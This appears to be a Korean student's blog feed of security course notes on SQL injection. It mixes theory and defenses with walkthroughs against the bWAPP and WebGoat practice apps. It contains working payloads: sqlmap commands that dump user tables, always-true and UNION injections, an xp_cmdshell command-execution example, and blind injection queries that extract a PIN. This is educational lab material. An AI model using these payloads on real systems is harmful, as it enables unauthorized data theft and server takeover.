<h3 id="2-bwapp-데이터베이스가-가지고-있는-테이블-정보를-조회"><strong>(2) bWAPP 데이터베이스가 가지고 있는 테이블 정보를 조회</strong></h3>
<pre><code class="language-bash">sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie=&quot;PHPSESSID=e14488ec3e84895e039f1f6d0f1f2d1f; security_level=0&quot; -D bWAPP --tables</code></pre>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7356e73d-c421-40c1-8135-a10adabe8741/image.png" alt=""></p>
<br>

<h3 id="3-users-테이블의-컬럼-정보를-조회"><strong>(3) users 테이블의 컬럼 정보를 조회</strong></h3>
<pre><code class="language-bash">sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie=&quot;PHPSESSID=e14488ec3e84895e039f1f6d0f1f2d1f; security_level=0&quot; -D bWAPP -T users --columns</code></pre>
<p><img src="https://velog.velcdn.com/images/en_geon/post/933426cd-f6d3-496f-8be4-191ae15e228c/image.png" alt=""></p>
<br>

<h3 id="4-users-테이블의-데이터를-조회"><strong>(4) users 테이블의 데이터를 조회</strong></h3>
<pre><code class="language-bash">sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie=&quot;PHPSESSID=e14488ec3e84895e039f1f6d0f1f2d1f; security_level=0&quot; -D bWAPP -T users --dump</code></pre>
<p><img src="https://velog.velcdn.com/images/en_geon/post/3f951c62-92dd-465e-97df-bbc418770417/image.png" alt=""></p>
<ul>
<li>몇 개의 명령어로 SQL Injection 공격에 취약한 사이트의 사용자 정보를 해시 크래킹해서 조회 가능</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안] - WebGoat, SQL Injection]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-SQL-Injection-wj2zfeeh</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-SQL-Injection-wj2zfeeh</guid>
            <pubDate>Mon, 25 Mar 2024 14:18:46 GMT</pubDate>
            <description><![CDATA[<h1 id="1-입력데이터-검증-및-표현"><strong>1. 입력데이터 검증 및 표현</strong></h1>
<blockquote>
<p><strong>프로그램 입력값에 대한 검증 누락 또는 부적절한 검증, 데이터의 잘못된 형식 지정, 일관되지 않은 언어셋 사용 등으로 인해 발생하는 보안 약점으로 SQL 삽입, 크로스사이트 스크립트(XSS)  등의 공격을 유발할 수 있다.</strong></p>
</blockquote>
<br>

<h2 id="1-입력값-검증이-필요한-이유"><strong>1) 입력값 검증이 필요한 이유</strong></h2>
<p>프로그램은 입력, 처리, 출력이 순서로 반복되는 것이다.</p>
<p>프로그램을 안전하게 만들기 위해서는 처리 단계에서 안전한 처리가 이루어져야 한다. 안전한 처리란 개발자가 의도한 대로 동작해야 안전한 처리가 이루어진다.</p>
<p>처리만 개발자의 의도대로 동작한다고 안전해지는 것은 아니다. 입력 또한 신뢰할 수 있는 입력을 받아야 한다. 믿을 수 있는 시스템 내부의 값 같은 안전한 곳으로부터 전달된 입력은 신뢰할 수 있는 입력이지만, 믿을 수 없는 사용자가 입력한 값(사용자가 잘못 입력하거나 전달 과정에서 변조될 수 있음) 같은 안전하지 않은 곳으로부터 전달된 입력은 신뢰할 수 없는 입력이다.</p>
<p>안전한 처리를 하기 위해서는 신뢰할 수 있는 입력값을 사용하고, 신뢰할 수 없는 입력값을 사용해야 하는 경우, 입력값을 검증, 제한해서 사용해야 한다.</p>
<br>

<h1 id="2-인젝션injection-삽입-취약점"><strong>2. 인젝션(Injection, 삽입) 취약점</strong></h1>
<blockquote>
<p><strong>어떤 처리가 있을 때, 입력값에 처리를 조작할 수 있는 문자열 포함 여부를 확인하지 않고 처리에 사용하는 경우</strong><br><strong>처리의 구조와 의미가 변형되어 원래 의도했던 처리와 다르게 처리되는 문제점</strong></p>
</blockquote>
<br>

<h2 id="1-유형"><strong>1) 유형</strong></h2>
<ul>
<li>SQL Injection<ul>
<li>입력값이 SQL 문을 만들고 실행하는데 사용</li>
</ul>
</li>
<li>XPath Injection<ul>
<li>입력값이 XPath 구문을 만들고 실행하는데 사용</li>
</ul>
</li>
<li>XQuery Injection<ul>
<li>입력값이 XQuery 구문을 만들고 실행하는데 사용</li>
</ul>
</li>
<li>Command Injection<ul>
<li>입력값이 운영체제 명령어 또는 명령어의 일부로 사용</li>
</ul>
</li>
</ul>
<br>

<h2 id="2-방어"><strong>2) 방어</strong></h2>
<ul>
<li>입력값에 처리를 조작하는 문자열 포함 여부를 확인하고 사용 - 입력값 검증, 제한</li>
<li>입력값에 처리를 조작하는 문자열이 포함된 경우<ol>
<li>오류 처리</li>
<li>제거하고 사용</li>
<li>처리를 조작하는 문자열을 일반 문자열로 해석되도록 변경해서 사용 - 이스케이프 처리</li>
</ol>
</li>
<li>각 기능에서 제공하는 안전한 방법을 사용</li>
<li>구조를 정의하고 정의된 구조에 입력값을 검증된 기능을 통해서 대입하는 방식으로 구현</li>
<li>구조화된 쿼리 실행, 파라미터화된 쿼리 실행</li>
</ul>
<p>제거하고 사용하는 것은 문제가 될 수 있다. 사용자가 어떤 영향을 미치는지 모르고 실제 그 문장을 찾고자 입력했을 수도 있다 제거하고 사용하는 것은 사용자의 의도를 무시하는 수가 있다. 사용자가 100% 공격자는 아니다.</p>
<br>

<h1 id="3-sql-injection"><strong>3. SQL Injection</strong></h1>
<blockquote>
<p><strong>외부 입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고, 쿼리문(SQL문)을 생성, 실행하는데 사용하는 경우</strong><br><strong>원래 의도했던 쿼리의 구조와 내용이 변경되어 실행되는 것</strong></p>
</blockquote>
<br>

<h2 id="1-예상되는-문제점"><strong>1) 예상되는 문제점</strong></h2>
<ul>
<li>권한 밖 DB 데이터에 접근이 가능</li>
<li>쿼리 실행을 통해서 제공되는 기능을 비정상적으로 제공받는 것이 가능<ul>
<li>해당 기능을 우회해서 이용하는 것이 가능</li>
</ul>
</li>
</ul>
<br>

<h2 id="2-예시"><strong>2) 예시</strong></h2>
<h3 id="1-정상적인-입력인-경우-동작"><strong>(1) 정상적인 입력인 경우 동작</strong></h3>
<blockquote>
<p>               login.do?id=abc&amp;pw=xyz<br>ID : abc  -----------------------------------&gt;  select * from users where id = &#39;abc&#39; and pw = &#39;xzy&#39;<br>PW: xyz</p>
</blockquote>
<ul>
<li>일치하는 정보가 있는 경우 로그인에 성공하고 메인 페이지를 반환</li>
<li>일치하는 정보가 없는 경우 오류 메시지와 함께 로그인 페이지를 반환</li>
</ul>
<p>ID 입력을 abc, PW 입력을 xyz로 했을 때 GET 방식으로 보면 위와 같이 전달되고, 서버에서 확인할 때 SQL 문이 위와 같이 생성되어 확인한다.</p>
<br>

<h3 id="2-비정상적인-입력인-경우-동작"><strong>(2) 비정상적인 입력인 경우 동작</strong></h3>
<blockquote>
<p>             login.do?id=abc&amp;pw=xyz&#39; or &#39;a&#39; = &#39;a<br>ID: abc  ----------------------------------------------&gt;  select * from users where id = &#39;abc&#39; and pw = &#39;xzy&#39; or &#39;a&#39; = &#39;a&#39;<br>PW: xyz&#39; or &#39;a&#39; = &#39;a</p>
</blockquote>
<ul>
<li>원래는 users 테이블에 id, pw 컬럼의 값이 일치하는 것이 있는지 조회하는 쿼리</li>
<li>조작된 입력값에 의해 항상 참인 쿼리로 변경되어서 실행</li>
</ul>
<p>일치하는 정보가 있는 것으로 판단해서 메인 페이지를 반환하게 된다. </p>
<br>

<h3 id="3-데이터베이스가-동작하는-서버의-제어권을-탈취해-원격에서-해당-서버를-제어하는-것이-가능"><strong>(3) 데이터베이스가 동작하는 서버의 제어권을 탈취해 원격에서 해당 서버를 제어하는 것이 가능</strong></h3>
<blockquote>
<p><strong><a href="https://www.hahwul.com/cullinan/history-of-owasp-top-10/">OWASP TOP10</a></strong></p>
</blockquote>
<p>OWASPTOP10은 웹 애플리케이션에서 가장 빈번하고 많이 발생하는 취약점들을 1~10위로 정리해서 발표하는 것이다. </p>
<p>위 링크를 보면 2017년에서 Injection이 1등이었고, 이전에도 항상 상위권을 지키고 있다.</p>
<br>

<h2 id="3-방어-기법"><strong>3) 방어 기법</strong></h2>
<blockquote>
<p>파이썬에서 SQL Injection을 <strong><a href="https://realpython.com/prevent-python-sql-injection/">방어하는 방법</a></strong></p>
</blockquote>
<ul>
<li><p>입력값에 쿼리 조작 문자열 포함 여부를 확인하고 사용</p>
<ul>
<li>오류 처리</li>
<li>제거하고 사용</li>
<li>안전한 형태로 변경해서 사용</li>
</ul>
</li>
<li><p>PreparedStatement(Query Parameters)와 같은 구조화된 쿼리 실행(파라미터화된 쿼리 실행)을 보장하는 것을 사용 </p>
</li>
<li><p>오류 메시지에 상세한 내용(데이터베이스 및 쿼리 구조, 쿼리 실행과 관련한 프로그램 구조 등)이 포함되지 않도록 처리</p>
</li>
<li><p>애플리케이션에서 사용하는 DB 사용자의 권한을 필요한 만큼의 최소한으로 부여</p>
</li>
</ul>
<br>

<p>밑에 두 개는 SQL Injection 공격을 완화하기 위해서 필요한 방어 기법</p>
<br>

<h1 id="4-webgoat-실습"><strong>4. WebGoat 실습</strong></h1>
<blockquote>
<p><strong>Injection Flaws &gt; String SQL Injection</strong></p>
</blockquote>
<ul>
<li>입력한 사용자 이름과 일치하는 계좌 정보를 반환해 주는 웹 페이지</li>
<li>목표는 모든 사용자의 계좌 정보가 출력되게 하는 것</li>
</ul>
<br>

<h2 id="1-정상적인-입력"><strong>1) 정상적인 입력</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/bbc42cf5-6d14-46d5-a6c6-8c74861b2630/image.png" alt=""></p>
<p>Smith를 입력하면 나오는 화면이다. 정상적으로 출력이 되는데, 내부적으로 어떻게 처리가 되는지, 화면에서 입력된 값이 서버로 어떻게 전달되고 어떻게 사용되는지 유추해야 한다.</p>
<br>

<h2 id="2-개발자-도구를-이용해-서버로-전달되는-내용-분석"><strong>2) 개발자 도구를 이용해 서버로 전달되는 내용 분석</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/12a72f1e-40d5-4df7-b6f8-453b07446472/image.png" alt=""></p>
<p>개발자 도구를 이용하면 action을 통해 어디로 가는지, method를 통해 어떤 방식으로 전달하는지, 어떤 내용들을 전달하는지 알 수 있다.</p>
<p>위 소스 코드는 POST 방식이므로 요청 본문에 들어가야 하는데 편의상 GET 방식으로 유추한다.</p>
<p>attack?Screen=34&amp;menu=1100&amp;account_name=Smith&amp;SUBMIT=Go! </p>
<p>Smith가 어디에 들어가는지 봐야 한다.</p>
<br>

<h2 id="3-서버에서-처리-유추"><strong>3) 서버에서 처리 유추</strong></h2>
<blockquote>
<p><strong>요청 파라미터로 전달된 값이 어떻게 사용되는지 유추</strong></p>
</blockquote>
<p>특정 테이블에 데이터를 조회하는 쿼리를 만들고 실행하는 데 사용할 것이라고 유추한다. </p>
<p>WebGoat에서 준 힌트로 유추할 수 있다. </p>
<pre><code class="language-sql">SELECT * FROM user_data WHERE last_name = &#39;Smith&#39;</code></pre>
<br>

<h2 id="4-모든-사용자-데이터를-조회하는-쿼리-생성"><strong>4) 모든 사용자 데이터를 조회하는 쿼리 생성</strong></h2>
<p>입력값이 서버에서 검증 없이 그대로 쿼리를 만드는 데 사용된다면 모든 사용자 데이터를 조회하는 쿼리를 어떻게 만들어야 하는지 생각해야 한다. </p>
<pre><code class="language-sql">SELECT * FROM user_data WHERE last_name = &#39;Smith&#39; or &#39;a&#39; = &#39;a&#39; </code></pre>
<p>위와 같이 입력하면 항상 참이 되는 조건을 추가하는 것이다. 모든 데이터를 조회할 때는 항상 참이 되도록 만들어 주면 된다.</p>
<br>

<h2 id="5-쿼리-조작-문자열-포함해서-요청"><strong>5) 쿼리 조작 문자열 포함해서 요청</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/d73f6292-facc-4e98-9bb6-7563ea6b9aca/image.png" alt=""></p>
<p>외부 입력값을 쿼리 조작 문자열(&#39; = or) 포함 여부를 확인하지 않고 그대로 쿼리 생성 및 실행에 사용해서 쿼리의 원래 의미(이름이 일치하는 데이터를 조회해서 반환)를 변경(모든 데이터를 조회)해서 실행</p>
<br>

<h1 id="5-numeric-sql-injection"><strong>5. Numeric SQL Injection</strong></h1>
<blockquote>
<p><strong>Injection Flaws &gt; Numeric SQL Injection</strong></p>
</blockquote>
<br>

<h2 id="1-정상적인-동작"><strong>1) 정상적인 동작</strong></h2>
<ul>
<li>Columbia를 선택하면 101이 station 파라미터 값으로 전달</li>
</ul>
<br>

<h2 id="2-개발자-도구-이용해서-소스-코드-분석"><strong>2) 개발자 도구 이용해서 소스 코드 분석</strong></h2>
<pre><code class="language-html">&lt;select name=&quot;station&quot;&gt;&lt;option value=&quot;101&quot;&gt;Columbia&lt;/option&gt;</code></pre>
<br>

<h2 id="3-서버로-전달되는-값get-방식으로-유추"><strong>3) 서버로 전달되는 값(GET 방식으로) 유추</strong></h2>
<blockquote>
<p>attack?Screen=44&amp;menu=1100&amp;station=101&amp;SUBMIT=Go!</p>
</blockquote>
<br>

<h2 id="4-서버에서-요청으로-전달된-값을-쿼리를-생성하고-실행하는-데-사용힌트"><strong>4) 서버에서 요청으로 전달된 값을 쿼리를 생성하고 실행하는 데 사용(힌트)</strong></h2>
<pre><code class="language-sql">SELECT * FROM weather_data WHERE station = 101</code></pre>
<br>

<h2 id="5-모든-데이트를-조회하는-쿼리"><strong>5) 모든 데이트를 조회하는 쿼리</strong></h2>
<pre><code class="language-sql">SELECT * FROM weather_data WHERE station = 101 or 1 = 1</code></pre>
<p>항상 참이 되는 조건을 추가하는데 원래 쿼리의 형태를 고려해서 추가해야 한다.</p>
<br>

<h2 id="6-방법"><strong>6) 방법</strong></h2>
<h3 id="1-개발자-도구를-이용"><strong>(1) 개발자 도구를 이용</strong></h3>
<ul>
<li>서버로 전달되는 값을 조작</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ba0ff834-e9ec-4802-80f1-bb5e9dc43764/image.png" alt=""></p>
<p>입력창이 아니므로 값을 직접 입력하는 것이 불가능하므로 개발자 도구를 이용해 Columbia가 선택되었을 때 서버로 전달되는 값을 조작한다.</p>
<br>

<h3 id="2-proxy-이용"><strong>(2) Proxy 이용</strong></h3>
<ul>
<li>Intercept 설정</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fe632d34-c18c-4943-86a5-75a0d9d79334/image.png" alt=""></p>
<br>

<ul>
<li>요청 발생</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/cc4a50e5-cc13-48c2-8983-d5ced915c110/image.png" alt=""></p>
<br>

<ul>
<li>인터셉터 된 요청의 내용(요청 파라미터의 값)을 변조한 후 인터셉터를 해제</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/a2443c2c-1a92-4ad6-ad8a-bc63b87e9b4b/image.png" alt=""></p>
<p>변조된 요청이 서버로 전달</p>
<br>

<h2 id="7-모든-데이터-조회-확인"><strong>7) 모든 데이터 조회 확인</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/b0b434eb-fae4-42c6-b683-a3fb26913d51/image.png" alt=""></p>
<br>

<h1 id="6-입력값-검증의-중요성"><strong>6. 입력값 검증의 중요성</strong></h1>
<p>인젝션을 통해 조회된 결과의 지역과 지역 선택 창에 나오는 지역이 다르다. 전체 지역은 6개지만, 서비스로 제공하는 지역은 4개만 제공하기 때문이다.</p>
<br>

<h2 id="1-입력창text-textarea과-라디오-버튼-체크-박스-셀렉트-박스의-차이"><strong>1) 입력창(text, textarea)과, 라디오 버튼, 체크 박스, 셀렉트 박스의 차이</strong></h2>
<ul>
<li>입력창<ul>
<li>사용자가 자유롭게 입력</li>
</ul>
</li>
<li>라디오 버튼, 체크 박스, 셀렉트 박스<ul>
<li>시스템에서 제공하는 범위 내에서 선택하도록 제한</li>
</ul>
</li>
</ul>
<br>

<h2 id="2-문제점"><strong>2) 문제점</strong></h2>
<p>서비스로 제공하는 4개 지역만 선택하도록 제한하기 위해서 셀렉트 박스를 사용했지만, 서버에서는 해당 범위의 값이 전달되었는지 확인해야 하나 하지 않았기 때문에 문제가 발생</p>
<br>

<h2 id="3-보완"><strong>3) 보완</strong></h2>
<p>클라이언트 사이드에 적용된 보안 기능은 서버 사이드에도 동일하게 또는 더 높은 보안 기능을 적용해야 함</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/20034e93-1072-4f9c-a58a-809d64c3a5e8/image.png" alt=""></p>
<br>
# **7\. SQL 인젝션 유형**

<pre><code class="language-sql">select * from members where id =  </code></pre>
<ul>
<li>사용자가 입력한 ID와 일치하는 회원 정보를 조회해서 제공</li>
</ul>
<br>

<p>이러한 구조를 가졌을 때 인젝션이 발생하는 입력의 유형을 본다.</p>
<br>

<h2 id="1-에러를-유발하는-입력"><strong>1) 에러를 유발하는 입력</strong></h2>
<blockquote>
<p><strong>Error Based SQL Injection</strong></p>
</blockquote>
<ul>
<li>입력값으로 에러를 유발하는 값을 전달</li>
<li>생성된 에러 메시지를 통해서 정보를 수집하고 수집한 정보를 이용해서 추가 공격을 계획</li>
</ul>
<br>

<h3 id="1-예시"><strong>(1) 예시</strong></h3>
<pre><code class="language-sql">select * from members where id = 123&#39;</code></pre>
<ul>
<li>ID 컬럼은 숫자 형으로 문자열 데이터를 받을 수 없고, 작은따옴표의 개수가 일치하지 않아서 오류 발생</li>
</ul>
<br>

<h2 id="2-항상-참이-되는-입력"><strong>2) 항상 참이 되는 입력</strong></h2>
<ul>
<li>쿼리문의 조건식의 결과가 항상 참이 되게 만드는 입력</li>
<li>권한 밖의 데이터에 접근, 조회하는 것이 가능</li>
<li>모든 데이터 조회 가능</li>
</ul>
<br>

<h3 id="1-예시-1"><strong>(1) 예시</strong></h3>
<pre><code class="language-sql">select * from members where id = 123 or 1 = 1</code></pre>
<ul>
<li>입력값이 항상 참</li>
<li>인젝션이 걸리는 컬럼의 데이터 타입에 맞춰 작은따옴표를 추가 해야 함</li>
<li>members 테이블의 모든 데이터 조회 가능</li>
</ul>
<br>

<h2 id="3-union-구문을-이용"><strong>3) UNION 구문을 이용</strong></h2>
<blockquote>
<p><strong>Union Based SQL Injection</strong></p>
</blockquote>
<ul>
<li>원래 서비스를 통해서 실행되는 쿼리에 공격자가 알고자 하는 정보를 조회하는 쿼리를 UNION 구문을 이용해서 결합하여 실행</li>
<li>UNION 구문은 두 쿼리의 실행 결과를 하나로 결합함</li>
<li>공격자가 알고자 하는 정보가 함께 출력</li>
</ul>
<br>

<h3 id="1-예시-2"><strong>(1) 예시</strong></h3>
<blockquote>
<p>select * from members id = 123        정상 입력으로 123 회원의 데이터가 조회되어 출력  </p>
<p>select * from members id = 123 and 1 = 2 UNION select 1, 2, 3, 4 from 어떤테이블</p>
</blockquote>
<ul>
<li>1, 2, 3, 4가 출력</li>
<li>and 1 = 2는 정상 쿼리의 실행 결과가 없도록 만드는 구문</li>
<li>UNION 구문은 공격자가 알고자 하는 정보를 조회하는 쿼리<ul>
<li>시스템에 어떤 쿼리가 있는지 알 수 없으므로 시스템 테이블을 우선적으로 활용</li>
</ul>
</li>
</ul>
<br>

<h2 id="4-stored-procedure를-호출하는-입력"><strong>4) Stored Procedure를 호출하는 입력</strong></h2>
<ul>
<li>데이터베이스에서 제공하는 Stored Procedure를 실행하는 구문을 입력</li>
<li>데이터베이스의 제어권 탈취 가능</li>
</ul>
<br>

<h3 id="1-예시-3"><strong>(1) 예시</strong></h3>
<pre><code class="language-sql">select * from members id = 123 ; exec xp_cmdshell &#39;cmd.exe /c dir&#39;</code></pre>
<ul>
<li>;는 쿼리문의 종결을 의미</li>
<li>exec는 Stored Procedure를 실행<ul>
<li>일반적으로 시스템 Stored Procedure를 우선적으로 활용</li>
</ul>
</li>
<li>xp_cmdshell은 MS-SQL에서 제공하는 시스템 Stored Procedure로 매개변수로 전달된 값을 DBMS의 쉘에서 실행하고 그 결과를 반환</li>
<li>DBMS의 쉘에서 실행할 명령어</li>
</ul>
<br>

<h2 id="5-blind-sql-injection"><strong>5) Blind SQL Injection</strong></h2>
<ul>
<li>쿼리 실행 결과에 따라서 서버의 반응이 달라지는 경우</li>
<li>공격자가 원하는 내용을 조회하는 쿼리를 작성해서 전달하고 실행 결과를 보면서 정보를 수집</li>
</ul>
<br>

<h3 id="1-예시-4"><strong>(1) 예시</strong></h3>
<blockquote>
<p>[정상적인 실행]<br>select * from members where id = 123           ⇒ 존재하는 ID인 경우 → ID가 123인 사용자의 정보를 제공<br>select * from members where id = 999           ⇒ 존재하지 않는 ID인 경우 → 존재하지 않습니다. 메시지를 제공  </p>
<p>[공격 가능 여부를 확인]<br>select * from members where id = 123 and 1 = 1         ⇒ ID가 123인 사용자의 정보를 제공<br>select * from members where id = 123 and 1 = 2         ⇒ 존재하지 않습니다. 메시지를 제공  </p>
<p>[공격자가 알고자 하는 정보를 조회하는 쿼리를 전달]<br>select * from members where id = 123 and 공격자가 알고자 하는 정보를 조회하는 쿼리</p>
</blockquote>
<ul>
<li>공격 가능 여부를 확인할 때 조건에 따라 결과 화면이 달라짐</li>
<li>사용자 정보가 출력됨, 해당 쿼리가 참이고, 오류 메시지가 출력되면 해당 쿼리가 거짓인 것을 알 수 있음</li>
</ul>
<br>

<h1 id="8-blind-numeric-sql-injection-실습"><strong>8. Blind Numeric SQL Injection 실습</strong></h1>
<blockquote>
<p><strong>Injection Flaws &gt; Blind Numeric SQL Injection</strong></p>
</blockquote>
<ul>
<li>사용자가 입력한 계좌 번호의 유효성(있다, 없다)을 확인해 주는 웹 페이지</li>
<li>해당 계좌가 존재하는 경우, Account number is valid. 를 출력</li>
<li>목표는 pins 테이블에서 cc_number 컬럼의 값이 1111222233334444와 일치하는 pin 컬럼의 값을 찾는 것</li>
</ul>
<br>

<h2 id="1-정상적인-동작-1"><strong>1) 정상적인 동작</strong></h2>
<ul>
<li>해당 계좌가 존재하는 경우, Account number is valid. 를 출력</li>
<li>해당 계좌가 존재하지 않는 경우, Invalid account number. 를 출력</li>
</ul>
<br>

<h2 id="2-개발자-도구-이용해서-소스-코드-분석-1"><strong>2) 개발자 도구 이용해서 소스 코드 분석</strong></h2>
<pre><code class="language-html">&lt;input name=&quot;account\_number&quot; type=&quot;TEXT&quot; value=&quot;999&quot;&gt;</code></pre>
<br>

<h2 id="3-서버로-전달되는-값get-방식으로-유추-1"><strong>3) 서버로 전달되는 값(GET 방식으로) 유추</strong></h2>
<blockquote>
<p>attack?Screen=35&amp;menu=1100&amp;account_number=999&amp;SUBMIT=Go!</p>
</blockquote>
<br>

<h2 id="4-서버에서-요청으로-전달된-값을-쿼리를-생성하고-실행하는-데-사용힌트를-이용-추측"><strong>4) 서버에서 요청으로 전달된 값을 쿼리를 생성하고 실행하는 데 사용(힌트를 이용 추측)</strong></h2>
<pre><code class="language-sql">-   select * from accounts where account_number = 999</code></pre>
<br>

<h2 id="5-공격자가-알고자-하는-정보를-조회-하는-쿼리-문제-힌트-이용"><strong>5) 공격자가 알고자 하는 정보를 조회 하는 쿼리 (문제 힌트 이용)</strong></h2>
<pre><code class="language-sql">select pin from pins where cc_number = &#39;1111222233334444&#39;</code></pre>
<br>

<h2 id="6-원래-서비스-쿼리에-추가"><strong>6) 원래 서비스 쿼리에 추가</strong></h2>
<pre><code class="language-sql">101 and (select pin from pins where cc_number=&#39;1111222233334444&#39;) &gt; 2000</code></pre>
<ul>
<li>참과 거짓을 판단할 수 있도록 &gt;을 넣어준다</li>
</ul>
<br>

<pre><code class="language-sql">102 and (select pin from pins where cc_number=&#39;1111222233334444&#39;) &gt; 1000</code></pre>
<ul>
<li>조건을 만족하는 pin 값은 1000보다 크다</li>
</ul>
<br>

<pre><code class="language-sql">102 and (select pin from pins where cc_number=&#39;1111222233334444&#39;) &gt; 5000</code></pre>
<ul>
<li>조건을 만족하는 pin 값은 1000보다 크고 5000보다 작음</li>
</ul>
<br>

<pre><code class="language-sql">102 and (select pin from pins where cc_number=&#39;1111222233334444&#39;) = ????</code></pre>
<ul>
<li>범위를 점점 줄여서 최종적으로 아래 쿼리를 만족하는 숫자를 찾음</li>
</ul>
<br>

<pre><code class="language-sql">102 and (select pin from pins where cc_number=&#39;1111222233334444&#39;) = 2364</code></pre>
<ul>
<li>Account number is valid가 출력</li>
</ul>
<br>

<h2 id="7-burp-suite-사용"><strong>7) Burp Suite 사용</strong></h2>
<ul>
<li>위에서 실습한 결과를 가지고 사용 방법을 익힌다.</li>
<li>Brute Force(브루트 포스)를 사용할 수 있다.</li>
<li>여기서는 범위를 알기 때문에 Numbers를 사용해 사용법을 익힌다.</li>
</ul>
<br>

<h3 id="1-intercept-on"><strong>(1) intercept on</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2349b13b-1a51-4594-b26c-1c66b633f02f/image.png" alt=""></p>
<br>

<h3 id="2-go-눌러서-intercept"><strong>(2) Go! 눌러서 intercept</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/0822fd06-3384-496a-9758-0cd09ddd536e/image.png" alt=""></p>
<br>

<h3 id="3-account_number-매개변수에-오른쪽-클릭"><strong>(3) account_number 매개변수에 오른쪽 클릭</strong></h3>
<ul>
<li>send to intruder 클릭</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2d9904d3-0980-49e1-9805-255d836a80a9/image.png" alt=""></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/a60b6278-251a-42c6-bebe-6bde035b6dc7/image.png" alt=""></p>
<ul>
<li>intruder에 색이 변함</li>
</ul>
<br>

<h3 id="4-intruder-확인"><strong>(4) intruder 확인</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8d9fb775-be4c-4c33-bb08-fd3474d33e70/image.png" alt=""></p>
<ul>
<li>account_number에 문자가 들어가 있는데 여기에 공격한다는 의미</li>
</ul>
<br>

<h3 id="5-payloads-설정"><strong>(5) Payloads 설정</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/390bf172-74e1-4ee2-8fcd-20b4cb73f900/image.png" alt=""></p>
<ul>
<li>Numbers 타입 설정</li>
<li>2350부터 2380까지 1씩 증가 하는 숫자 범위 설정 후 Start attack</li>
</ul>
<br>

<h3 id="6-attack-확인"><strong>(6) attack 확인</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/40a6a6f8-9f9a-4269-9765-614184d10db5/image.png" alt=""></p>
<ul>
<li>account_number에 2364가 들어갔을 때만 Length가 다름</li>
</ul>
<p>위, 아래 값들은 Invalid account number.의 값이 들어가는 것이고, 2364는 다른 값이 들어가는 것을 확인할 수 있다.</p>
<br>

<h3 id="7-webgoat-입력"><strong>(7) WebGoat 입력</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8fd9a456-d87a-478d-959f-dbcb90db0fb9/image.png" alt=""></p>
<br>

<h1 id="9-blind-string-sql-injection"><strong>9. Blind String SQL Injection</strong></h1>
<blockquote>
<p><strong>Injection Flaws &gt; Blind String SQL Injection</strong></p>
</blockquote>
<ul>
<li>목표는 pins 테이블에서 cc_number 컬럼의 값이 4321432143214321과 일치하는 name 컬럼의 값을 찾은 것 </li>
<li>name 컬럼은 문자열 타입의 데이터를 저장하는 컬럼</li>
<li>힌트 field name, table pins, row cc_number</li>
</ul>
<br>

<h2 id="1-쿼리문-유추"><strong>1) 쿼리문 유추</strong></h2>
<p>이전 문제와 비슷한 문제로 일치하는 결과가 있는 경우와 일치하는 결과가 없는 경우로 나누어야 한다.</p>
<p>이전 문제는 숫자로 나누는 것이지만, 이번 문제는 문자로 나누는 것이다. </p>
<pre><code class="language-sql">SELECT * FROM accounts WHEREaccount_number = 102 and (SELECT name FROM pins WHERE cc_number = &#39;4321432143214321&#39;) = ???</code></pre>
<br>

<p>이렇게 했을 때, ?에 맞는 문자열이 온다면 102도 있는 값이고 and 뒤 쿼리문도 맞는 값이 되어 Account number is valid.가 나올 것이다. 여기서도 Burte Force로 공격한다면 엄청난 경우의 수가 나오기 때문에 그렇게 할 수는 없을 것이다.</p>
<br>

<h2 id="2-한-글자씩-추출"><strong>2) 한 글자씩 추출</strong></h2>
<ul>
<li>substr()</li>
<li>substr은 문자열 자르기로 substr(문자열, 시작 위치, 길이)로 사용하는 함수</li>
<li>문자열 : 원하는 문자열(대상 컬럼)</li>
<li>길이 : 시작 위치부터 마지막 위치</li>
</ul>
<br>

<pre><code class="language-sql">select * from accounts where account_number = 102 and (select substr(name, 1, 1) from pins where cc_number = &#39;4321432143214321&#39;) = &#39;?&#39;</code></pre>
<br>

<pre><code class="language-sql">select * from accounts where account_number = 102 and (select substr(name, 2, 1) from pins where cc_number = &#39;4321432143214321&#39;) = &#39;?&#39;</code></pre>
<br>

<p>해당 컬럼에 문자를 하나씩 가져와서 ?에 있는 것과 맞는지 확인하는 것이다. 하지만 딱 맞는 알파벳을 찾기란 쉽지 않다.</p>
<br>

<h2 id="3-이름-데이터의-각-자리를-아스키코드로-만들어서-범위-연산-수행"><strong>3) 이름 데이터의 각 자리를 아스키코드로 만들어서 범위 연산 수행</strong></h2>
<p>문제 힌트에도 나왔듯이 문자를 숫자로 바꾸는 생각을 해야 한다. 문자를 숫자로 바꾸는 것은 ASCII 코드를 사용해 이전 문제와 같이 범위 연산을 하면 맞는 알파벳을 찾아가기에 효율성을 높일 수 있다.</p>
<br>

